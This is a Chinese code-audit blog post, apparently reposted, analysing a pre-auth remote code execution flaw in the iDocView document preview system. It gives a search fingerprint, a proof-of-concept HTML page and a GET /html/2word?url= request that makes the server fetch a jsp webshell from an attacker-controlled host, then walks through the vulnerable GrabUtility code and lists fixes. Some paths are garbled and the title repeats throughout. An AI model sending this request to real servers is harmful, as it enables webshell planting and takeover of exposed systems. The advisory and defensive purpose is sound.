【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

admin 2023年12月13日17:24:25评论36 views字数 1455阅读4分51秒阅读模式

# 01

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

产品简介

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

i Doc View是一个在线文档解析应用,旨在提供便捷的文件查看和编辑服务。

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

# 02

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

漏洞概述

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

漏洞成因

本次漏洞出现在在线文档解析应用中的远程页面缓存功能。具体问题在于该应用未能对用户输入的URL进行充分的安全验证,从而导致存在安全隐患。攻击者可通过构造特殊的URL,引诱应用下载恶意文件。

漏洞利用

攻击者利用该漏洞的关键在于使用具有远程页面缓存功能的接口,在参数中填写预先准备的包含恶意文件的URL。此类请求能够绕过正常的安全检查,使得服务器下载并处理恶意内容。漏洞的触发会返回特定的响应状态和内容类型条件,攻击者可通过自动化脚本进行检测和利用。

漏洞影响

该漏洞的利用可能导致服务器被远程控制、敏感数据泄露等等。漏洞的存在不仅威胁到该应用服务器的安全性,还可能成为更广泛网络安全事件的触发点。建议受影响的用户尽快采取必要的安全措施,以防范潜在的安全风险。

# 03

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

影响范围

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

i Doc View < 13.10.1_20231115

# 04

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

复现环境

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

指纹

title="I DOC VIEW"

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

# 05

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

漏洞复现

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

创建jsp文件

vim ..\..\..\docview\t.jsp

写入html文件内容,href指定服务器文件

<!DOCTYPE html><html lang="en"><head>    <title>POC</title>  </head><body>  <link href="/......docviewpoc.jsp">
</body></html>

开启监听

使用poc发起url请求

GET /html/2word?url=http://192.168.1.1:8089/idocview.html HTTP/1.1Host: 192.168.31.192:816

# 06

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

漏洞分析

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

找到html对应的控制器

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

42-49行这里就是创建一个文件目录就以url计算的hash生成。在50行的if 为 false时进入GrabWebPageUtil.downloadHtml方法

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

这部分就是对url进行连接,然后调用到getWebPage方法

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

这一段就是对文件做一些处理

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

关键代码在这里,GrabUtility.searchForNewFilesToGrab方法

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

在这里会解析html的内容,如果包含link[href]、script[src]、img[src]标签,就会获取href属性调用到addLinkToFrontier方法

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

在else if中,将新的URL对象添加到filesToGrab中

public static List<String> filesToGrab = new ArrayList();

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

再次返回到downloadHtml方法,会遍历数组,将URL对象再次交给getWebPage方法进行重载。通过文件流的形式写入文件。

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

在黑名单中没有jsp所以可以写入jsp马,在取文件名的时候通过截图"/"之后的内容作为文件名,此系统为windwos所以可以使用来代替。    

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

# 07

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

修复方案

【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

1、官方修复方案:

厂商已禁用漏洞相关接口并升级软件版本到13.10.1_20231115,客户可升级到该版本解决漏洞,官网https://api.idocv.com已升级到最新版本。

2、临时修复方案:

a.使用防护类设备对相关资产进行防护;

b.如非必要,避免将资产暴露在互联网;如有需要可通过网络ACL策略限制访问来源,只允许特定IP进行访问;

c.限制服务器主动访问外部陌生链接。

原文始发于微信公众号(河北网络安全高校联盟):【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日17:24:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】I DOC VIEW 在线文档预览系统前台RCE分析http://cn-sec.com/archives/2294586.html

发表评论

匿名网友 填写信息